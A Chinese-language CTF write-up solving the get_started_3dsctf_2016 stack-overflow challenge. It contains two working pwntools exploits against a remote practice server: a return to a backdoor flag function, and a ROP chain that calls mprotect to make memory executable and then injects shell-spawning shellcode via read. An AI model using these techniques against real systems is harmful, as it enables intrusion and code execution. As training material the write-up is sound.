寻找漏洞点
检查一下

拖入ida查看


gets()函数非常明显的溢出
且查看汇编代码,发现main函数没有进行压栈的操作,最后直接是retn
所以我们最后的偏移不需要覆盖栈底
查看左侧的函数栏,还发现了非常明显的后门函数,还发现了mprotect函数
那这道题就有两种写法了

看到这里就非常简单了,还是一个简单的栈溢出题目
也可以通过mprotect函数去修改我们写入shellcode内存的权限,绕过NX保护
编写exp前的准备工作(法一)
找到get_flag()函数的起始地址
get_flag_addr = 0x80489A0
找到exit函数的起始地址

编写exp(法一)
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote("node5.buuoj.cn",29481)
offset = 0x38
get_flag_addr = 0x80489A0
exit_addr = 0x804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1
payload = cyclic(offset) + p32(get_flag_addr) + p32(exit_addr) + p32(a1) + p32(a2)
io.sendline(payload)
io.interactive()

成功获得flag
补充
1. mprotect 的函数原型
在 C 语言中,它的样子是这样的:
int mprotect(void *addr, size_t len, int prot);
参数拆解:
-
- 注意:这个地址必须是内存页对齐的。在大多数 Linux 系统上,一个内存页的大小是 4096 字节(即 0x1000)。
- 这意味着你的 addr 结尾必须是 000(例如 0x0804a000)。
-
- 1:可执行 (PROT_EXEC)
- 2:可写 (PROT_WRITE)
- 4:可读 (PROT_READ)
- 常用技巧:如果我们想要“可读+可写+可执行”,就把它们加起来:$4 + 2 + 1 = 7$。
2. 为什么在 PWN 题中经常看到它?
通常的攻击流程是这样的:
3. 32 位程序下的 ROP 布局
由于你处理的是 32 位程序(i386),调用 mprotect 时的栈布局遵循 cdecl 约定:
[函数地址] + [返回地址] + [参数1] + [参数2] + [参数3]
如果你要调用 mprotect 将 0x0804a000 开始的 4096 字节改为可读可写可执行(7),你的 payload 结构如下:
|
栈位置 |
内容 |
说明 |
|
ret_addr |
mprotect_addr |
覆盖返回地址,跳转到 mprotect |
|
ret_after_mprotect |
next_target |
mprotect 执行完后要去哪里(比如跳到 Shellcode) |
|
arg1: addr |
0x0804a000 |
必须对齐(以 000 结尾) |
|
arg2: len |
0x1000 |
修改一个页的大小 |
|
arg3: prot |
0x7 |
权限:$RWX$ |
4. 初学者常犯的错误:地址对齐
这是最容易卡住的地方。如果你的 addr 填的是 0x0804a123(没有对齐到 0x1000),mprotect 就会执行失败,返回 -1,并且权限修改不会生效。
编写exp前的准备工作(法二)
找到合适的地址,在ida中ctrl+s

记录一下
addr = 0x8048000
其他的一些地址我们就可以用pwntools里的工具获取了
由于我们不仅需要使用mprotect函数
还要调用read函数写入shellcode
会出现一个参数污染的问题,于是我们需要借用寄存器传参
使用ROPgadget查找

随便找一个pop;pop;pop;ret的就可以,我这里使用
pop_addr = 0x80509a5
编写exp(法二)
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote("node5.buuoj.cn",29481)
elf = ELF("./get_started_3dsctf_2016")
addr = 0x8048000
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
offset = 0x38
pop_addr = 0x80509a5
payload = cyclic(offset) + p32(mprotect_addr) + p32(pop_addr)
#这里使程序跳转运行mprotect函数,并清理寄存器上的参数
payload += p32(addr) + p32(0x1000) + p32(0x7) + p32(read_addr)
#这里将mprotect中的函数填进去,并使执行完该函数后跳转到read函数中,方便我们下一步写入shelcode
payload += p32(pop_addr) #清理参数
payload += p32(0) + p32(addr) + p32(0x1000) + p32(addr)
#填入read中的参数,第一个参数为0,就是读入我们的输入,第二个是输入的地址,第三个是长度,第四个是执行完read后的返回地址
shellcode = asm(shellcraft.sh()) #生成shellcode
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

成功获得flag
